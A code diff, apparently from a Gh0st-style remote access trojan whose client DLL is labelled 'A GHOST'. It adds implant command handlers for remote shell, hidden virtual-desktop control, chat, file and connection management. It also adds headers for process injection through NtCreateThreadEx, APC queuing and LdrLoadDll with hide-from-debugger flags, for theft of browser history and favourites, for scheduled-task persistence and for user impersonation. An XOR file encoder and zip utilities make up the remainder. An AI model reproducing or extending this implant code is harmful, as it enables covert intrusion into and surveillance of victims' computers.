// 发送驱动器列表, 开始进行文件管理,建立新线程 // 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList(); SendDriveList();
+82 -1
View File
@@ -1153,6 +1153,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CHAT: { // 远程交谈(双向聊天)
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_MACHINE_MANAGE: { // 主机管理
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: { case COMMAND_SHELL: {
if (!ENABLE_SHELL) { if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
@@ -1277,6 +1331,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case CMD_FILE_SPEED: {
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
if (ulLength >= 5) {
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
int durMs = szBuffer[3] | (szBuffer[4] << 8);
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
m_cfg->SetInt("transfer", "DurationMs", durMs);
}
break;
}
case COMMAND_LIST_DRIVE : { case COMMAND_LIST_DRIVE : {
if (!ENABLE_FILE_MNG) { if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1); return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
@@ -1344,6 +1410,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) {
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE: { case COMMAND_UPDATE: {
auto typ = m_conn->ClientType(); auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1396,7 +1475,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。 // static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
static bool s_v2RecvInited = false; static bool s_v2RecvInited = false;
if (!s_v2RecvInited) { if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf); int chunkKb, durMs;
GetTransferSpeed(*m_cfg, chunkKb, durMs);
InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
s_v2RecvInited = true; s_v2RecvInited = true;
} }
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度) // C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
File diff suppressed because it is too large. Load diff
+204
View File
@@ -0,0 +1,204 @@
#pragma once
#include "Manager.h"
#include <Iphlpapi.h>
#include <tlhelp32.h>
#include <map>
#include <WINSOCK2.H>
#include "yapi.hpp"
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "WS2_32.lib")
#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
class CMachineManager : public CManager
{
public:
BOOL m_bUse;
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CMachineManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
private:
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
HWND GetHwndByPid(DWORD dwProcessID);
bool Is64BitOS();
bool Is64BitPorcess(DWORD dwProcessID);
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
wchar_t* char2wchar_t(char* cstr);
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
void DeleteService(LPBYTE lpBuffer, UINT nSize);
void MyControlService(LPBYTE lpBuffer, UINT nType);
void SendProcessList();
LPBYTE getProcessList(); //进程
void SendWindowsList();
LPBYTE getWindowsList(); //窗口
void SendNetStateList();
LPBYTE getNetStateList();
void SendSoftWareList();
LPBYTE getSoftWareList(); //软件列表
void SendIEHistoryList();
LPBYTE getIEHistoryList(); // 浏览记录
void SendFavoritesUrlList();
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
LPBYTE getFavoritesUrlList(); //收藏夹
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
LPBYTE getServiceList(DWORD dwScType);
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
PBYTE GetRoot(); //获取根目录下的子文件夹
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
void SaveData(const std::string& taskname, const std::string& path,
const std::string& exepath, const std::string& status,
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
DWORD m_dwServiceType;
void SendHostsList();
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
void SendError(const char* Terror);
};
struct Browsinghistory {
char strTime[100];
char strTitle[1024];
char strUrl[1024];
};
typedef struct {
DWORD dwState; // 连接状态
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwRemoteAddr; // 远程地址
DWORD dwRemotePort; // 远程端口
DWORD dwProcessId; // 进程ID号
} MIB_TCPEXROW, * PMIB_TCPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[ANY_SIZE];
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
typedef struct {
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwProcessId; // 进程ID号
} MIB_UDPEXROW, * PMIB_UDPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_UDPEXROW table[ANY_SIZE];
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
typedef struct {
DWORD dwState; //连接状态
DWORD dwLocalAddr; //本地地址
DWORD dwLocalPort; //本地端口
DWORD dwRemoteAddr; //远程地址
DWORD dwRemotePort; //远程端口
DWORD dwProcessId; //进程标识
DWORD Unknown; //待定标识
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW_VISTA table[ANY_SIZE];
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
HANDLE heap,
DWORD flags
);
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
PMIB_UDPEXTABLE* pUdpTable,
HANDLE heap,
DWORD flags
);
// 扩展函数原型
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
PMIB_TCPEXTABLE* pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
PMIB_UDPEXTABLE* pUdpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef _CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
typedef struct _THREAD_DATA
{
pRtlInitUnicodeString fnRtlInitUnicodeString;
pLdrLoadDll fnLdrLoadDll;
UNICODE_STRING UnicodeString;
WCHAR DllName[260];
PWCHAR DllPath;
ULONG Flags;
HANDLE ModuleHandle;
}THREAD_DATA, * PTHREAD_DATA;
struct InjectData {
DWORD ExeIsx86;
DWORD mode; //注入模式
DWORD dwProcessID;//进程ID
DWORD datasize; //本地数据尺寸
char strpath[1024]; //远程落地目录
};
+11 -3
View File
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain(); CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, if (!m_Signature.empty()) {
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf); iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
}
#endif #endif
m_isGDI = TRUE; m_isGDI = TRUE;
m_virtual = FALSE; m_virtual = FALSE;
@@ -870,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_Signature.empty()) { if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64); m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature); m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf); iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str()); Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
} }
break; break;
+18 -3
View File
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "娑堟伅鎻愮ず" CAPTION "消息提示"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95 LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END END
IDD_CHAT DIALOGEX 0, 0, 235, 155
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Chat"
FONT 10, "System", 0, 0, 0x0
BEGIN
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
END
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// //
@@ -44,6 +55,10 @@ BEGIN
IDD_DIALOG, DIALOG IDD_DIALOG, DIALOG
BEGIN BEGIN
END END
IDD_CHAT, DIALOG
BEGIN
END
END END
#endif // APSTUDIO_INVOKED #endif // APSTUDIO_INVOKED
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,9 FILEVERSION 1,0,4,0
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +121,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.9" VALUE "FileVersion", "1.0.4.0"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"
BIN
View File
Binary file not shown.
File diff suppressed because it is too large. Load diff
+152
View File
@@ -0,0 +1,152 @@
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#include <sstream>
#include "zip.h"
#pragma once
#include <winioctl.h>
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
#include "MasterEncoder.h"
namespace SimplePluginsFile {
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
BYTE Token;
int w,h,size;
} FILEPICINFO;
struct SEARCH {
TCHAR TC_disk[8];
TCHAR TC_search[MAX_PATH];
};
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[MAX_PATH];
} FILE_NAME_INFORMATION;
typedef LONG(__stdcall* ZwQueryInformationFile) (
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN ULONG FileInformationClass
);
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
class CFileManager : public CManager
{
public:
MasterEncoder m_encoder;
DWORD dwRet;
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient, int n, void* user);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket;
std::list <std::string> m_UploadList;
BOOL m_bIsWow64;
UINT m_nTransferMode;
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool benofrce;
TCHAR* copyfile;
HANDLE ImpersonateLoggedOnUserWrapper();
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
void ExeCompress(BYTE* lpBuffer);
void SendSearchData(LPBYTE lpBuffer);
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
protected:
HANDLE m_hWorkThread;
BOOL bIsStopSearch;
FILESEARCH filesearch;
void StopSearchTheard();
void SendSearchFilesList(LPCTSTR str);
static void WINAPI FindFileThread(LPVOID lparam);
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
TCHAR g_desktopName[MAX_PATH];
ULONG PseudoRand(ULONG* seed);
void GetBotId(TCHAR* botId);
HDESK g_hDesk;;
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
void SendNetHood(); //发送共享文件目录
void encfile(char* in_filename);
void decryptfile(char* in_filename);
bool FnDelPathFile(TCHAR* tc_path);
TCHAR* zippath_t;
HANDLE m_hWorkZIPThread;
BOOL bIsStopZIP;
void StopZIPTheard();
void StartZIP();
static void WINAPI FindZIPThread(LPVOID lparam);
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
//info
void SendFileInfo(TCHAR* filepath,TCHAR * type);
bool ResizePicture(TCHAR* strSource);
TCHAR* volName; // 驱动盘名称
TCHAR* tc_search; // 搜索关键词
HANDLE hVol; // 用于储存驱动盘句柄
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
long counter;
LPBYTE lpBuffer;
char* c_pathname;
};
}
+162
View File
@@ -0,0 +1,162 @@
#include "StdAfx.h"
#include "MasterEncoder.h"
#include <fstream>
#include <string>
#include <iostream>
namespace SimplePluginsFile {
MasterEncoder::MasterEncoder()
{
_codeKey = 100;
_sign = nullptr;
_signLen = 0;
}
MasterEncoder::~MasterEncoder()
{
SAFE_DELETE_AR(_sign);
}
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
{
if (sign && signLen) {
_signLen = signLen;
SAFE_DELETE_AR(_sign);
_sign = new char[signLen];
if (_sign) {
memcpy(_sign, sign, signLen);
} else {
Mprintf("setSignAndKey Failed!\n");
}
}
_codeKey = key;
}
void MasterEncoder::encode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
void MasterEncoder::decode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
{
std::ifstream ifs;
ifs.open(filepath, std::ios::in | std::ios::binary);
if (!ifs.is_open()) {
Mprintf("文件打开失败: %s\n", filepath.c_str());
return nullptr;
}
ifs.seekg(0, std::ios_base::end);
size =(long) ifs.tellg();
ifs.seekg(0, std::ios_base::beg);
unsigned char* data = new unsigned char[size];
long count = 0;
while (count < size) {
ifs.read((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("read PDF size = %d\n", size);
ifs.close();
return data;
}
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
{
std::ofstream ofs;
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
if (!ofs.is_open()) {
Mprintf("文件打开失败: %s\n", filePath.c_str());
return;
}
long count = 0;
while (count < size) {
ofs.write((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("save PDF size = %d\n", size);
ofs.close();
}
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
//判断是否已经加密过
if (memcmp(data, _sign, _signLen) == 0) {
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
writePDF(savePath, data, size);
} else {
encode(data, size);
if (_signLen > 0) {
unsigned char* p = new unsigned char[size + _signLen];
memcpy(p, _sign, _signLen);
memcpy(p + _signLen, data, size);
writePDF(savePath, p, size + _signLen);
delete[] p;
} else {
writePDF(savePath, data, size);
}
}
delete[] data;
}
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
writePDF(savePath, data, size);
} else if (memcmp(data, _sign, _signLen) == 0) {
unsigned char* p = (data + _signLen);
decode(p, size - _signLen);
writePDF(savePath, p, size - _signLen);
} else {
Mprintf("解密失败: %s\n", pdfPath.c_str());
}
delete[] data;
}
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
{
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
return data;
} else if (memcmp(data, _sign, _signLen) == 0) {
size -= _signLen;
unsigned char* p = new unsigned char[size];
memcpy(p, data + _signLen, size);
decode(p, size);
delete[] data;
return p;
} else {
return data;
}
}
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <string>
namespace SimplePluginsFile {
class MasterEncoder
{
public:
MasterEncoder();
~MasterEncoder();
void setSignAndKey(char* sign, int signLen, unsigned char key);
void decode(unsigned char* data, long size);
void encode(unsigned char* data, long size);
void writePDF(const std::string& filePath, unsigned char* data, long size);
unsigned char* readPDF(const std::string& filepath, long& size);
public:
void encodePDF(const std::string& pdfPath, const std::string& savePath);
void decodePDF(const std::string& pdfPath, const std::string& savePath);
unsigned char* decode(const std::string& pdfPath, long& size);
private:
unsigned char _codeKey;
char* _sign;
int _signLen;
};
}
+2911
View File
File diff suppressed because it is too large. Load diff
+207
View File
@@ -0,0 +1,207 @@
//
//http://www.codeproject.com/KB/files/zip_utils.aspx
//
#ifndef _zip_H
#define _zip_H
// ZIP functions -- for creating zip files
// This file is a repackaged form of the Info-Zip source code available
// at www.info-zip.org. The original copyright notice may be found in
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
// extend its use in Windows/C++. Also to add encryption and unicode.
#ifndef _unzip_H
DECLARE_HANDLE(HZIP);
#endif
// An HZIP identifies a zip file that is being created
typedef DWORD ZRESULT;
// return codes from any of the zip functions. Listed later.
HZIP CreateZip(const TCHAR* fn, const char* password);
HZIP CreateZip(void* buf, unsigned int len, const char* password);
HZIP CreateZipHandle(HANDLE h, const char* password);
// CreateZip - call this to start the creation of a zip file.
// As the zip is being created, it will be stored somewhere:
// to a pipe: CreateZipHandle(hpipe_write);
// in a file (by handle): CreateZipHandle(hfile);
// in a file (by name): CreateZip("c:\\test.zip");
// in memory: CreateZip(buf, len);
// or in pagefile memory: CreateZip(0, len);
// The final case stores it in memory backed by the system paging file,
// where the zip may not exceed len bytes. This is a bit friendlier than
// allocating memory with new[]: it won't lead to fragmentation, and the
// memory won't be touched unless needed. That means you can give very
// large estimates of the maximum-size without too much worry.
// As for the password, it lets you encrypt every file in the archive.
// (This api doesn't support per-file encryption.)
// Note: because pipes don't allow random access, the structure of a zipfile
// created into a pipe is slightly different from that created into a file
// or memory. In particular, the compressed-size of the item cannot be
// stored in the zipfile until after the item itself. (Also, for an item added
// itself via a pipe, the uncompressed-size might not either be known until
// after.) This is not normally a problem. But if you try to unzip via a pipe
// as well, then the unzipper will not know these things about the item until
// after it has been unzipped. Therefore: for unzippers which don't just write
// each item to disk or to a pipe, but instead pre-allocate memory space into
// which to unzip them, then either you have to create the zip not to a pipe,
// or you have to add items not from a pipe, or at least when adding items
// from a pipe you have to specify the length.
// Note: for windows-ce, you cannot close the handle until after CloseZip.
// but for real windows, the zip makes its own copy of your handle, so you
// can close yours anytime.
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
// ZipAdd - call this for each file to be added to the zip.
// dstzn is the name that the file will be stored as in the zip file.
// The file to be added to the zip can come
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
// from a file: ZipAddHandle(hz,"file.dat", hfile);
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
// (folder): ZipAddFolder(hz,"subdir");
// Note: if adding an item from a pipe, and if also creating the zip file itself
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
// function. This will let the zipfile store the item's size ahead of the
// compressed item itself, which in turn makes it easier when unzipping the
// zipfile from a pipe.
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
